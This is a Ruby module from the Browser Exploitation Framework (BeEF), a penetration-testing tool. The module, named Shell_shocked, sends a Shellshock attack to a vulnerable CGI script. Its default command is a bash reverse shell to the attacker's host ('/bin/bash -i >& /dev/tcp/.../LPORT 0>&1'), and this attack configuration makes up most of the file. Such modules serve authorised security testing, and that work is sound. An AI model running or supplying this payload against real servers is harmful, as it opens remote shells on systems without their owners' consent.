#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Shell_shocked < BeEF::Core::Command
  def self.options
    configuration = BeEF::Core::Configuration.instance
    lhost = configuration.beef_host
    lhost = 'LHOST' if lhost == '0.0.0.0'
    payload = "/bin/bash -i >& /dev/tcp/#{lhost}/LPORT 0>&1"

    [
      { 'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi' },
      { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' },
      { 'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => payload }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end
